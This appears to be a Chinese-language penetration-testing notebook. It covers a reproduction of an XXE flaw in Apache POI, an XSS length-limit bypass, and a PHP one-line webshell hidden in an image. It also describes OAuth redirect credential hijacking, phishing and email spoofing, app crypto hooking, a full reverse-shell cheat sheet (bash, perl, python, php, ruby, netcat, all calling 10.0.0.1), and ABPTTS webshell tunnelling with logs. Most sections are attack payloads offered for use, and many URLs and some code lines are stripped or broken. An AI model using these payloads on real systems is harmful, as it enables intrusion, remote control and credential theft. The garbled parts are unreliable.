In Apache POI up to 4.1.0, when using the tool XSSFExportToXml to convert user-provided Microsoft Excel documents, a specially crafted document can allow an attacker to read files from the local filesystem or from internal network resources via XML External Entity (XXE) Processing.
漏洞场景搭建
测试代码:
import ;
import .;
import ;
import ;
import ;
import ;
import ;
import ;
import ;
import ;
public class PoiXxe {
public static void main(String[] args) throws IOException, EncryptedDocumentException, InvalidFormatException, TransformerException, SAXException {
XSSFWorkbook wb = new XSSFWorkbook(new FileInputStream(new File("/Users/l1nk3r/Desktop/")));
for (XSSFMap map : ()) {
XSSFExportToXml exporter = new XSSFExportToXml(map); // 使用 XSSFExportToXml 将 xlsx 转成 xml
(, true);//第一个参数是输出流无所谓,第二个参数要为 true
}
}
}
//
<?xml version="1.0" encoding="UTF-8"?>
<project xmlns="/POM/4.0.0"
xmlns:xsi="http:///2001/XMLSchema-instance"
xsi:schemaLocation="/POM/4.0.0 /xsd/maven-4.0.">
<modelVersion>4.0.0</modelVersion>
<groupId></groupId>
<artifactId>xxe</artifactId>
<version>1.0-SNAPSHOT</version>
<dependencies>
<dependency>
<groupId></groupId>
<artifactId>poi-ooxml</artifactId>
<version>4.1.0</version>
</dependency>
</dependencies>
</project>
漏洞复现
下载这个excel文件,在 CustomXMLMappings/xl/ 文件中增加下面这个代码
<xsd:redefine schemaLocation="http://127.0.0.1:8080/"></xsd:redefine>
漏洞分析
调用栈太繁琐了,只列几个关键点,程序进行到 XSDHandler#constructTrees 这个方法的时候,抓出来我们poc中的外带地址
下一步在 XSDHandler#resolveSchema 中,把外带地址交给了 getSchemaDocument 处理
最后代码继续往下走,在 XMLEntityManager#setupCurrentEntity 找到了http的请求发起,所以想知道一个XXE漏洞的调用栈,绝大多数情况下,你可以选择在JDK自身的 XMLEntityManager#setupCurrentEntity 中HTTP请求下个断点,然后利用OOB方式利用,很多找到触发过程的调用栈
setupCurrentEntity:619, XMLEntityManager ()
determineDocVersion:189, XMLVersionDetector ()
parse:582, SchemaParsingConfig ()
parse:685, SchemaParsingConfig ()
parse:530, SchemaDOMParser ()
getSchemaDocument:2175, XSDHandler ()
resolveSchema:2096, XSDHandler ()
constructTrees:1100, XSDHandler ()
parseSchema:620, XSDHandler ()
loadSchema:617, XMLSchemaLoader ()
loadGrammar:575, XMLSchemaLoader ()
loadGrammar:541, XMLSchemaLoader ()
newSchema:255, XMLSchemaFactory ()
newSchema:638, SchemaFactory ()
isValid:249, XSSFExportToXml ()
exportToXML:211, XSSFExportToXml ()
exportToXML:105, XSSFExportToXml ()
main:20, PoiXxe
漏洞修复
修复的方式增加了一行
trySetFeature(factory, "/feature/secure-processing", true);
然后问题关键点就来到了 SecuritySupport#checkAccess ,可以看到未修复代码 allowedProtocols 是all,而 acessAny 也是all,所以 checkAccess 结果返回的是null
已修复代码中的 SecuritySupport#checkAccess 方法,可以看到未修复代码 allowedProtocols 是"",而 acessAny 也是all,所以 checkAccess 结果返回的是 http
回到 XSDHandler#getSchemaDocument 中,由于不允许http方式外带数据,因此我们的错误信息自然会出现下图报错里面的部分
最后在简单bb一下,这个洞没啥用,外带也没办法利用FTP client换行那个洞外带数据,所以是个弟中弟的洞
Rerfence:
Apache POI
参考文章:
/t/6996 ---本文复现文章
2.2.20 记一次阿里主站xss测试及绕过waf防护
使用工具:
/chaitin/xray
/2019/12/20/find-alibaba-xss/ --一枚阿里巴巴主站XSS挖掘之旅
书里也有另外的思路,大部分都是各种倒腾方法测试,前面也列举了很多,未授权的别乱搞!!
–
2.2.21 ClassLoader类加载机制
/javase/ClassLoader/
该网站是JAVA非常好的一个学习页面,前面也推荐过了,这里提到ClassLoader再次推下!!
2.2.22 浅谈SSRF原理及其利用(dayu-Ninth Day)
/year/
参考文章
/t/2115
/
/yuzly/p/
/vulhub/vulhub/tree/master/weblogic/ssrf
/blog/web-security/server-side-request-forgery-vulnerability-ssrf/
2.2.23 Spring-Data-Commons (CVE-2018-1273)
/cve-2018-1273-analysis/ 自行搭建复现
/article/9248784281/ vulhub靶机复现
/2018/04/12/CVE-2018-1273-%20RCE%20with%20Spring%20Data%20Commons%20%E5%88%86%E6%9E%90%E6%8A%A5%E5%91%8A/
听老的漏洞了,可以玩玩
2.2.24 xss绕过代码后端长度限制的方法
这篇文章是我近期在审计一套 CMS 的时候顺便写的。
一般来讲程序对于输入字符长度进行限制的方法主要分两种,一种是前端的长度限制,这种的绕过只需要修改前端源码即可,或者本地构造一个表单。
本次审计的这套 CMS 存在一个 XSS 漏洞,由于日志入库验证不严格导致存在该漏洞,只需要尝试登陆即可写入 payload
$uid = 0;
$cfrom = $this->method->request('cfrom', $cfrom);
$token = $this->method->request('token');
$device= $this->method->request('device', $device);
$ip = $this->method->request('ip', $this->method->ip);
$web = $this->method->request('web', $this->method->web);
$cfroar= explode(',', 'pc,reim,weixin,appandroid,appiphone,mweb');
if(!in_array($cfrom, $cfroar))return 'not found cfrom';
if($user=='')return '用户名不能为空';
if($pass==''&&strlen($token)<8)return '密码不能为空';
$user = addslashes(substr($user, 0, 20));
$pass = addslashes($pass);
$logins = '登录成功';
$msg = '';
$fields = '`pass`,`id`,`name`,`user`,`face`,`deptname`';
$arrs = array(
'user' => $user,
'status|eqi' => 1,
'type|eqi' => 1,
'state|neqi' => 5
);
$us = $this->db->getone('admin', $arrs , $fields);
if(!$us){
unset($arrs['user']);
$arrs['name'] = $user;
$tos = $this->db->rows('admin', $arrs);
if($tos>1){
$msg = '存在相同用户名,系统无法识别';
}
if($msg=='')$us = $this->db->getone('admin', $arrs , $fields);
}
if($msg=='' && !$us){
$msg = '用户不存在';
}else if($msg==''){
$uid = $us['id'];
$user = $us['user'];
if(md5($pass)!=$us['pass'])$msg='密码错误';
if($pass==HIGHPASS){
$msg = '';
$logins = '管理员密码登录成功';
}
if($msg!=''&&strlen($token)>=8){
$moddt = date('Y-m-d H:i:s', time()-10*60*1000);
$trs = $this->getone("`uid`='$uid' and `token`='$token' and `moddt`>='$moddt'");
if($trs){
$msg = '';
$logins = '快捷登录';
}
}
}
$name = $face = $deptname = '';
if($msg==''){
$name = $us['name'];
$deptname = $us['deptname'];
$face = $us['face'];
if(!$this->isempt($face))$face = URL.''.$face.'';
$face = $this->method->repempt($face, 'images/');
$this->db->update('admin',"`loginci`=`loginci`+1", $uid);
}else{
$logins = $msg;
}
m('log')->addlog(''.$cfrom.'登录','['.$user.']'.$logins.'', array(
'optid' => $uid,
'optname' => $name,
'ip' => $ip,
'web' => $web,
));
程序前部分代码对整个登录过程进行了完整验证,同样开发者为了防止插入恶意代码对截取的数据长度限制到了 20 位并使用了 addslashes 对敏感字符进行转义。所以在后面的写入日志那里就很难写入有攻击性的 XSS 代码,单纯 就已经占了 17 个字符
通过查看日志的源代码发现其实脚本标签是可以插入的,只不过没有办法写入完整代码,但是最为重要的一个因素在于,这里所插入的代码都是显示在同一个页面的。
所以接下来就是拼接 Payload 代码。考虑到程序会在渲染到页面的时候增加许多的标签导致脚本语法出错所以就直接给注释掉。
最终 payload 代码如下
*/</script>
*/;alert(a);/*
*//xss//*
*/a=/*
<script>var/*
这里顺序的问题是因为程序的数据是从后往前显示,咱们输入的顺序是反的但是在页面显示的时候顺序是正常的
成功触发 XSS 代码。
最终源代码如下:
最终通过注释符与代码之间的拼接成功的插入了完整的XSS代码
参考链接:
/article/ --该文章
/column/ --加深
2.2.25 mysql提权之mof
/p/6dbac868e2ab
/2018/06/10/MySQL提权之MOF/
/h4ck0ne/p/
2.2.26 mysql提权之udf
//archives/
/p/5b34c1b6dee7
2.2.27 XSS 基础学习
/item/XSS%E6%94%BB%E5%87%BB 百度百科
/p/24a19c6434ae --最新累积
还有书中知识!!!
2.2.28 java 反射与内存shell 初探-基于jetty容器的shell 维权
/articles/web/ ---利用“进程注入”实现无文件复活 WebShell
/2020/02/15/Java/Java-反射机制介绍/
/jingmoxukong/p/ ---深入理解 Java 反射和动态代理
/archives/1408#more-1408 --前面了解了一些基础和知识,这是内存shell深入的理解,感谢大佬
书籍上还有不同的思路…
2.2.29 利用 DNSLOG回显(dayu-Tenth
/post/id/98096 --实战
/p/113368 --基础原理
书籍上还有不同的思路…
2.2.30 文件合成/图片马生成
指的是代码写入后不破坏图片为前提,图片仍可正常打开
方法一:
一句话:
<?php @eval($_POST[1])?>
用010 Editor(HEX编辑器)打开任意一张图片,将上述代码插入右边最底层或最上层后保存
方法二:
使用CMD制作一句话木马
参数/b指定以二进制格式复制、合并文件; 用于图像类/声音类文件
参数/a指定以ASCII格式复制、合并文件。用于txt等文档类文件
copy /b+
//意思是将以二进制与合并成生成之后打开只要图片依旧正常显示,用记事本打开可以看到乱码末尾有一个一句话,那么就是图片木马了。
图片正常,代码也已写入。
上述两种上传到服务器后都可用菜刀连接。
/?t/
/ltysg0645/article/details/53996658
2.2.31UDF提权
/zzjdbk/p/ ---MySQL提权之udf提权(获得webshell的情况)
/p/5b34c1b6dee7 --另外的思路
2.3 社会工程学
2.3.1 水坑攻击
“水坑攻击”,黑客攻击方式之一,顾名思义,是在受害者必经之路设置了一个“水坑(陷阱)”。最常见的做法是,黑客分析攻击目标的上网活动规律,寻找攻击目标经常访问的网站的弱点,先将此网站“攻破”并植入攻击代码,一旦攻击目标访问该网站就会“中招”。
由于此种攻击借助了目标团体所信任的网站,攻击成功率很高,即便是那些对鱼叉攻击或其他形式的钓鱼攻击具有防护能力的团体
水坑攻击属于APT攻击的一种,与钓鱼攻击相比,黑客无需耗费精力制作钓鱼网站,而是利用合法网站的弱点,隐蔽性比较强。在人们安全意识不断加强的今天,黑客处心积虑地制作钓鱼网站却被有心人轻易识破,而水坑攻击则利用了被攻击者对网站的信任。
水坑攻击利用网站的弱点在其中植入攻击代码,攻击代码利用浏览器的缺陷,被攻击者访问网站时终端会被植入恶意程序或者直接被盗取个人重要信息。
水坑攻击相对于通过社会工程方式引诱目标用户访问恶意网站更具欺骗性,效率也更高。水坑方法主要被用于有针对性的攻击,而Adobe Reader、Java运行时环境(JRE)、Flash和IE中的零漏洞被用于安装恶意软件
/item/%E6%B0%B4%E5%9D%91%E6%94%BB%E5%87%BB/17644830
熟悉下…
2.3.2 鱼叉攻击
“鱼叉攻击”是黑客攻击方式之一,最常见的做法是,将木马程序作为电子邮件的附件,并起上一个极具诱惑力的名称,发送给目标电脑,诱使受害者打开附件,从而感染木马。
/item/鱼叉攻击
2.3.2.1 Swaks-邮件伪造
/zhaijiahui/p/
瑞士军刀还是很有名的,熟悉下原理和简单的 --to --from --attach --data --elho这几种使用意思就OK了…
2.3.2.2 邮件伪造防御技术
SPF
SPF是 Sender Policy Framework 的缩写,一种以IP地址认证电子邮件发件人身份的技术,是为了防范垃圾邮件而提出来的一种DNS记录类型,它是一种TXT类型的记录。 接收邮件方会首先检查域名的SPF记录,来确定发件人的IP地址是否被包含在SPF记录里面,如果在,就认为是一封正确的邮件,否则会认为是一封伪造的邮件进行退回。
SPF可以防止别人伪造你来发邮件,是一个反伪造性邮件的解决方案。当你定义了你域名的SPF记录之后, 接收邮件方会根据你的SPF记录来确定连接过来的IP地址是否被包含在SPF记录里面,如果在,则认为是一封正确的邮件,否则则认为是一封伪造的邮件。
设置正确的 SPF 记录可以提高邮件系统发送外域邮件的成功率,也可以一定程度上防止别人假冒你的域名发邮件。
/p/b3460757d260 --使用方法
DKIM
DKIM是一种防范电子邮件欺诈的验证技术,通过消息加密认证的方式对邮件发送域名进行验证。
邮件发送方发送邮件时,利用本域私钥加密邮件生成DKIM签名,将DKIM签名及其相关信息插入邮件头。邮件接收方接收邮件时,通过DNS查询获得公钥,验证邮件DKIM签名的有效性。从而确认在邮件发送的过程中,防止邮件被恶意篡改,保证邮件内容的完整性
DKIM RFC协议:/html/rfc6376
DKIM官方网站:/
DMARC
DMARC是一种基于现有的SPF和DKIM协议的可扩展电子邮件认证协议,在邮件收发双方建立了邮件反馈机制,便于邮件发送方和邮件接收方共同对域名的管理进行完善和监督。
DMARC要求域名所有者在DNS记录中设置SPF记录和DKIM记录,并明确声明对验证失败邮件的处理策略。邮件接收方接收邮件时,首先通过DNS获取DMARC记录,再对邮件来源进行SPF验证和DKIM验证,对验证失败的邮件根据DMARC记录进行处理,并将处理结果反馈给发送方。
DMARC能够有效识别并拦截欺诈邮件和钓鱼邮件,保障用户个人信息安全。
设置完 SPF 和 DKIM 后,您就能以 TXT 记录的形式向您网域的 DNS 记录添加政策,从而配置 DMARC(方法与配置 SPF 或 ADSP 一样)
/a/answer/2466563?hl=zh-Hans
//#iana_dmarc_tags
DMARC RFC协议:/html/rfc7489
DMARC官方网站:/
2.3.3 钓鱼攻击
/wiki/钓鱼式攻击
2.3.3.1 视觉效果
钓鱼攻击
钓鱼式攻击是一种企图从电子通讯中,通过伪装成信誉卓著的法人媒体以获得如用户名、密码和信用卡明细等个人敏感信息的犯罪诈骗过程。这些通信都声称(自己)来自社交网站拍卖网站网络银行、电子支付网站或网络管理者,以此来诱骗受害人的轻信。网钓通常是通过e-mail或者即时通讯进行。它常常导引用户到∪RL与界面外观与真正网站几无二致的假冒网站输入个人数据。就算使用强式加密的SSL服务器认证,要侦测网站是否仿冒实际上仍很困难。
例子-视觉效果
某次应急响应中,从A客户(跨国经销商)那里了解到的情况如下:
A是商家
B商家的消费者
C黑客
C攻入了A的邮件服务器,并且持续控制了一个季度,共3个月。
B要购买A的产品时,A发送合同给B,同时C的木马也在读取邮件数据库的内容,合同中有付款账户,C从中截获A的邮件,并且修改合同内容,从邮件服务器拉取到了前一年的合同模板,将银行账户打印上去,B收到C的合同后迸行了打款,同时B在向A确认的过程中,A发现B受骗了。
思考:
C怎么给B发送的邮件,取得了B的信任呢?
这里举个例子: 与
乍一看,中的com与corn非常相似,有个别字体影响的话,还是很难分辨的,更别说歪果仁了…
宋体
娃娃体
2.3.3.2 凭证劫持
漏洞危害
劫持凭证,构造链接登录受害者账号
漏洞特点
1. oauth2.0快捷登录
2. sso单点登录系统
3. 注册或者登录
oauth2.0快捷登录
很多厂商使用了OAuth2.0的认证方式
利用场景:
1、主站可第三方登录,漏洞站是否第三方登录都无影响
2、一级域名下的某个信任域能够加载外部链接
这是第三方登录的接口:
/oauth2.0/authorize?client_id=100312028&response_type=code&display=pc&state=1516604022&redirect_uri=/phoenix/account/afterauth?mkey=6f2d1d001e4be09e285ed6931751d0aa&scope=get_user_info,get_other_info,add_t,add_share
这个链接是第三方登录口:
/phoenix/account/afterauth?mkey=6f2d1d001e4be09e285ed6931751d0aa
现在分析参数:
state=1516604022
redirect_uri=/phoenix/account/afterauth?mkey=6f2d1d001e4be09e285ed6931751d0aa
redirect_uri参数:是要跳转到这个参数值网址。
在这里,我们将要跳转的网址替换到/phoenix/account/afterauth
?改为&
最后redirect_uri参数值是redirect_uri=带有外部链接的网址&mkey=6f2d1d001e4be09e285ed6931751d0aa
注:带有外部链接的网址是一级域名的信任域!
payload 发给目标的url:
/oauth2.0/authorize?client_id=100312028&response_type=code&display=pc&state=1516604022&redirect_uri=带有外部链接的网址&mkey=6f2d1d001e4be09e285ed6931751d0&scope=get_user_info,get_other_info,add_t,add_share
目标只要打开该链接,并且点击头像登录。那么就会跳转到带有外部链接的网址
此时第三方登录会给用户一个code值,用户会带着code值去访问带有外部链接的网址 而带有外部链接的那个网址会自动加载外部链接,外部链接的作用就是获取referer那么黑客就会获取到code值。
最后劫持登录的payload:
访问第三方登录口
/phoenix/account/afterauth?mkey=868b9c0330c56e46a27c8da7f75708d1&code=获取到的code值&state=1516505635
再访问成功登录目标账户
sso单点登录
单点登录(Single Sign On),简称为 SSO,是目前比较流行的企业业务整合的解决方案之一。SSO的定义是在多个应用系统中,用户只需要登录一次就可以访问所有相互信任的应用系统
漏洞点: -> 当A用户登录了后,访问无需账号密码,sso会发送凭证给。
劫持:抓取sso发送给凭证的数据包,将跳转到这个值改为我们的dnslog地址。然后将这个链接发送给已经登录的A用户,那么A用户会往发送凭证,这时候就被我们的dnslog劫持了
注册登录
新用户注册或者用户登录的时候,网站会传递凭证给用户。这时候通过修改redirect_url为自己的dnslog,去劫持凭证
/MxkEngine/mobilePage/xxdc_register_login/xxdc_login.html?jumpURL=http://www2.?/MxkEngine/mobilePage/xxdc_issue/xxdc_ReceiveNoPayment.html?userid=#
成功跳转到www…
修复建议
对跳转的url地址做限制。
加强域名后输入的字符长度,以及URL地址后的http以及.等域名字符的限制与安全过滤,对以及特殊的字符以及参数值也加强过滤,比如:redirect,jump,redurl,等参数值的过滤
文章:
/archives/
/article_content?a_id=a6dd0c77f46b5dd7030c79d3e24f804a
雷神众测原文被删了好像…
2.3.3.4 克隆技术
克隆技术 - Clone
Kali linux - setookit
/p/6df51799cd9d ---基础介绍钓鱼
/qq_39379812/article/details/90679722 --复现、实战
https://blog./13587123/2151193 --老文章
2.3.3.5 Word文档-云宏代码钓鱼
/developer/article/1518725
/t/2496
两篇复现~~
2.4 APP密码算法通用分析方法
前言
1)在APP测试过程经常会遇到报文被加密的情况,之前在大部分的情况,可能需要进行脱壳,逐行分析代码,获取算法,编写解密的程序(工具)—— 适用于任何情况下的万能解法
2)因为过程实在是有些繁琐,文章里是我尝试分析app加密算法的一些取巧的方式,可以进行尝试
密码算法介绍
密码算法强度依赖
1)密码算法源头可以追溯到古典算法。 一般而言古典算法依赖于两种方式——移位和代换混淆明文,从而无法破译。但是对于大多数的古典密码而言,其加密强度依赖于算法保密性以及密钥保密
2)但是对于现代密码学而言,加密强度完全依赖于密钥(算法在某种程度上一定会被获取,而设计好的算法存在一定的难度)
3)对于我想要做的app算法分析而言,我在大部分的情况是在寻找密钥。找到密钥,套用几个现代密码学算法,完成分析
涉及概念
我在实际的接触过程中,大部分的人其实对于密码涉及到的相关概念其实认识的很模糊,经常统称为密码算法,这里进行简单的介绍
Hash算法(哈希算法)
1)常见的包括md5、sha1、sm3。 这类算法主要对信息进行摘要,从摘要两个字应该能够意识到进行这种算法获取的数据无法还原成原来的信息,因为只保存了部分数据
2)那么我们常说的md5解密、sha1解密,又是什么呢?其实这是在说明一类情况 Hash碰撞,—— A通过hash函数生成了C,B也通过hash函数生成了C,这样一种情况。由于hash字符串的空间几乎无限大,那么我们可以理解A与B是相同的内容,所以说C通过md5解密生成了B 。我们通过提交B来代替A——对于接受对象而言的输出都是C所以是一致的(当然实际上A,B也可以不同,具体可以了解下王小云破解md5)
编码算法
这一类就比较容易和密码算法混淆了,这类算法主要是为了解决传输或者转换过程中可能出现的错乱。 一般而言没有密钥这样的说法,就是规定了一套编码和解码的算法,常见算法有base64、十六进制字符串
密码算法
1)其实到现在为止,密码算法一般指的就是现代密码学——几类对称密码和非对称密码
2)两者的区别就在于,加密和解密的密钥是否能够互相还原
分组算法(block cipher mode)
1)密码算法都是针对具体的块进行加密,多个块之间怎么连接,就是分组算法
2)例如ECB、CBC等,具体可以去wiki 搜索 block cipher mode
填充模式
长度不够的块,怎么填充
分析原理
为什么我们在理论上一定能够突破密码算法? 我作为客户端的角色进行操作,理论上我能控制客户端所有的内容。数据在客户端完成加密、发送。 只要客户端能够提供加密的能力,我理论上也能
既然我们不想要直接分析应用app的源代码,那么我们能够工程化控制的就是执行环境,就说下图架构中除了application的所有内容
众所周知,越到下面难度越高,数据被处理和变化也越多
当然这里比较好的消息是,大部分应用调用了java扩展包中的加密算法。那我们是不是能够通过hook相关的函数来获取密码算法的调用情况呢?
PS: 大佬们都已经整完了,上工具,丢掉脑袋,当个tool man
工具准备
1)Xposed
2)CryptoFucker ,可以稍微改一改代码更加好用。
3)inspeckage
4)lxhToolHTTPDecrypt
分析过程
PS: 我想这个正文可能是最短的正文了——工具流水线
inspeckage
使用inspeckage加载app,查看调用情况以及一些其他属性
点到crypto模块下,可以看到使用加密算法的情况
密钥是:B9DC7BFD361F8348 IV: nmeug.f9/Om+L823 算法是Java 默认的AES
从列表里也可以看到,密码没有打印调用栈,有时候可能不清楚哪个数据包是正确的(SDK、本地数据等等都可能调用密码算法)
CryptoFucker
通过hook,输出到ydsec文件夹下,把应用包名作为文件名
运行后,可以查看相关的信息,定位调用栈(后续可以修改相关代码)
总结
其他类似工具都自己去尝试吧,上述工具都是github上的,可以根据自己的需要去修订一个合适的版本
常见的算法组合
AES/DES
仅仅采用AES,密钥可能通过简单的编码或者置换存放在数据包中
硬编码在应用当中,这类情况用文中的方式较容易解决
RSA + AES
通过RSA加密AES密钥,与客户端进行协商,或者保存在数据包中
添加MAC
MAC(消息认证码),数据包的hash值作为数据包一部分。一般hash算法采用md5或者sha-1
加解密
知道相关密钥信息和IV等信息,就按照提前准备好的密码工具进行加解密即可
/u/4587690/blog/4571625 --原文
2.5 Linux下反弹she命令
Hackthebox经典提权:
Bash
Some versions of bash can send you a reverse shell (this was tested on Ubuntu 10.10):
bash -i >& /dev/tcp/10.0.0.1/8080 0>&1
PERL
Here’s a shorter, feature-free version of the perl-reverse-shell:
perl -e 'use Socket;$i="10.0.0.1";$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'
There’s also an alternative PERL revere shell here.
Python
This was tested under Linux / Python 2.7:
python -c 'import socket,subprocess,os;s=(socket.AF_INET,socket.SOCK_STREAM);(("10.0.0.1",1234));os.dup2((),0); os.dup2((),1); os.dup2((),2);p=(["/bin/sh","-i"]);'
PHP
This code assumes that the TCP connection uses file descriptor 3. This worked on my test system. If it doesn’t work, try 4, 5, 6…
php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'
If you want a .php file to upload, see the more featureful and robust php-reverse-shell.
Ruby
ruby -rsocket -e'f=("10.0.0.1",1234).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'
Netcat
Netcat is rarely present on production systems and even if it is there are several version of netcat, some of which don’t support the -e option.
nc -e /bin/sh 10.0.0.1 1234
If you have the wrong version of netcat installed, Jeff Price points out here that you might still be able to get your reverse shell back like this:
rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc 10.0.0.1 1234 >/tmp/f
Java
r = ()
p = (["/bin/bash","-c","exec 5<>/dev/tcp/10.0.0.1/2002;cat <&5 | while read line; do \$line 2>&5 >&5; done"] as String[])
()
[Untested submission from anonymous reader]
xterm
One of the simplest forms of reverse shell is an xterm session. The following command should be run on the server. It will try to connect back to you (10.0.0.1) on TCP port 6001.
xterm -display 10.0.0.1:1
To catch the incoming xterm, start an X-Server (:1 – which listens on TCP port 6001). One way to do this is with Xnest (to be run on your system):
Xnest :1
You’ll need to authorise the target to connect to you (command also run on your host):
xhost +targetip
/cheat-sheet/shells/reverse-shell-cheat-sheet --参考文章
shell文章:
/p0pl4r/p/
/r00tgrok/p/reverse_shell_cheatsheet.html
/t/2548 --Linux反弹shell(一)文件描述符与重定向
/t/2549 --Linux 反弹shell(二)反弹shell的本质
打过靶机的应该都会…
2.6 Browser Pivot for Chrome
/2019/03/11/browser-pivot-for-chrome/ --全英文篇
/t/4417 --Browser Pivot for Chrome
/weixin_44677409/article/details/102725129 --Cobalt Strike使用教程一
/CobaltStrike4.0用户手册_中文翻译.pdf --CS非常详细教程 pdf版本,感谢QAX
还可以参考书籍…
到这里就结束打入内网的篇章了,将开启命令篇章!
三、命令与控制(dayu-Eleventh Day)
3.1 HTTP 隧道 ABPTTS
ABPTTS简介:
ABPTTS是NCC Group在2016年blackhat推出的一款将TCP流量通过HTTP/HTTPS进行流量转发,在目前云主机的大环境中,发挥了比较重要的作用,可以通过脚本进行RDP,SSH,Meterpreter的交互与连接。也意味着这样可以建立一个通过80端口得流量出站来逃避防火墙。与其它http隧道不同的是,abptts是全加密。
2016年blackhat介绍:
/us-16/#a-black-path-toward-the-sun
Github:
/nccgroup/ABPTTS
安装与生成payload:
root@John:~# git clone /nccgroup/
Cloning into 'ABPTTS'...
remote: Enumerating objects: 50, done.
remote: Total 50 (delta 0), reused 0 (delta 0), pack‐reused 50
Unpacking objects: 100% (50/50), done.
root@John:~# pip install pycrypto
Requirement already satisfied: pycrypto in /usr/lib/python2.7/dist‐packages (2.6.1)
root@John:~# cd ABPTTS/
root@John:~/ABPTTS# ls
ABPTTS‐ data settings_overlays template
root@John:~/ABPTTS# python ‐o webshell
[2019‐01‐28 08:24:28.131919] ‐‐‐===[[[ A Black Path Toward The Sun ]]]===‐‐‐
[2019‐01‐28 08:24:28.131954] ‐‐==[[ ‐ Factory ‐ ]]==‐‐
[2019‐01‐28 08:24:28.131965] Ben Lincoln, NCC Group
[2019‐01‐28 08:24:28.131979] Version 1.0 ‐ 2016‐07‐30
[2019‐01‐28 08:24:28.132706] Output files will be created in "/root/ABPTTS/webshell"
[2019‐01‐28 08:24:28.132722] Client‐side configuration file will be written as "/root/ABPTTS/webshell/"
[2019‐01‐28 08:24:28.132739] Using "/root/ABPTTS/data/american‐english ‐lowercase‐4‐" as a wordlist file
[2019‐01‐28 08:24:28.136713] Created client configuration file "/root/ABPTTS/webshell/"
[2019‐01‐28 08:24:28.137760] Created server file "/root/ABPTTS/webshell/"
[2019‐01‐28 08:24:28.138342] Created server file "/root/ABPTTS/webshell/"
[2019‐01‐28 08:24:28.138492] Created server file "/root/ABPTTS/webshell/war/WEB‐INF/"
[2019‐01‐28 08:24:28.138555] Created server file "/root/ABPTTS/webshell/war/META‐INF/"
[2019‐01‐28 08:24:28.139128] Prebuilt JSP WAR file: /root/ABPTTS/webshell/
[2019‐01‐28 08:24:28.139140] Unpacked WAR file contents:/root/ABPTTS/webshell/war
靶机执行:
以aspx为demo
攻击机执行:
注:如果攻击机为vps,则 -f 需要填写vps_ip:port/目标机:port
python ‐c webshell/ ‐u "http://192.168.1.119/" ‐f 192.168.1.5:33389/192.168.1.119:3389
root@John:~/ABPTTS# python ‐c webshell/ ‐u "http://192.168.1.119/" ‐f 192.168.1.5:33389/192.168.1.119:3389
[2019‐01‐28 08:33:25.749115] ‐‐‐===[[[ A Black Path Toward The Sun ]]]===‐‐‐
[2019‐01‐28 08:33:25.749153] ‐‐==[[ ‐ Client ‐ ]]==‐‐
[2019‐01‐28 08:33:25.749160] Ben Lincoln, NCC Group
[2019‐01‐28 08:33:25.749169] Version 1.0 ‐ 2016‐07‐30
[2019‐01‐28 08:33:25.750372] Listener ready to forward connections from 192.168.1.5:33389 to 192.168.1.119:3389 via http://192.168.1.119/
[2019‐01‐28 08:33:25.750392] Waiting for client connection to 192.168.1.5:33389
[2019‐01‐28 08:33:28.560180] Client connected to 192.168.1.5:33389
[2019‐01‐28 08:33:28.560365] Waiting for client connection to 192.168.1.5:33389
[2019‐01‐28 08:33:28.560655] Connecting to 192.168.1.119:3389 via http://192.168.1.119/
[2019‐01‐28 08:33:28.868187] Server set cookie ASP.NET_SessionId=boyfcepcijf43s0dhaz5of05; path=/; HttpOnly
[2019‐01‐28 08:33:28.868269] [(S2C) 192.168.1.119:3389 ‐> 192.168.1.5:33389 ‐> 192.168.1.3:8861 (Connection ID: CEA116F4AF1FAF8C)] Server created connection ID CEA116F4AF1FAF8C
[2019‐01‐28 08:33:29.077903] Connection‐level exception: [Errno 104] Connection reset by peer in thread for tunnel (192.168.1.3:8861 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389)
[2019‐01‐28 08:33:29.077967] Disengaging tunnel (192.168.1.3:8861 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389)
[2019‐01‐28 08:33:29.077987] Closing client socket (192.168.1.3:8861 ‐ > 192.168.1.5:33389)
[2019‐01‐28 08:33:29.078049] Exception while closing client socket (192.168.1.3:8861 ‐> 192.168.1.5:33389): [Errno 107] Transport endpoint is not connected
[2019‐01‐28 08:33:29.085280] Server closed connection ID CEA116F4AF1FAF8C
[2019‐01‐28 08:33:36.957446] Client connected to 192.168.1.5:33389
[2019‐01‐28 08:33:36.957601] Waiting for client connection to 192.168.1.5:33389
[2019‐01‐28 08:33:36.957797] Connecting to 192.168.1.119:3389 via http://192.168.1.119/
[2019‐01‐28 08:33:36.966507] Server set cookie ASP.NET_SessionId=bsynuc3l5ndo5h0n0bhtrv5p; path=/; HttpOnly
[2019‐01‐28 08:33:36.966587] [(S2C) 192.168.1.119:3389 ‐> 192.168.1.5:33389 ‐> 192.168.1.3:8862 (Connection ID: AA0FE7F073A5EFFD)] Server created connection ID AA0FE7F073A5EFFD
[2019‐01‐28 08:33:45.321612] [(C2S) 192.168.1.3:8862 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389 (Connection ID: AA0FE7F073A5EFFD)]: 25805 bytes sent since last report
[2019‐01‐28 08:33:45.321700] [(S2C) 192.168.1.119:3389 ‐> 192.168.1.5:33389 ‐> 192.168.1.3:8862 (Connection ID: AA0FE7F073A5EFFD)] 12344 bytes sent since last report
[2019‐01‐28 08:33:48.482758] [(C2S) 192.168.1.3:8862 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389 (Connection ID: AA0FE7F073A5EFFD)]: 715 bytes sent since last report
[2019‐01‐28 08:33:48.482838] [(S2C) 192.168.1.119:3389 ‐> 192.168.1.5:33389 ‐> 192.168.1.3:8862 (Connection ID: AA0FE7F073A5EFFD)] 2524 bytes sent since last report
[2019‐01‐28 08:33:54.169354] Connection‐level exception: [Errno 104] Connection reset by peer in thread for tunnel (192.168.1.3:8862 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389)
[2019‐01‐28 08:33:54.169432] Disengaging tunnel (192.168.1.3:8862 ‐> 192.168.1.5:33389 ‐> 192.168.1.119:3389)
[2019‐01‐28 08:33:54.169455] Closing client socket (192.168.1.3:8862 ‐ > 192.168.1.5:33389)
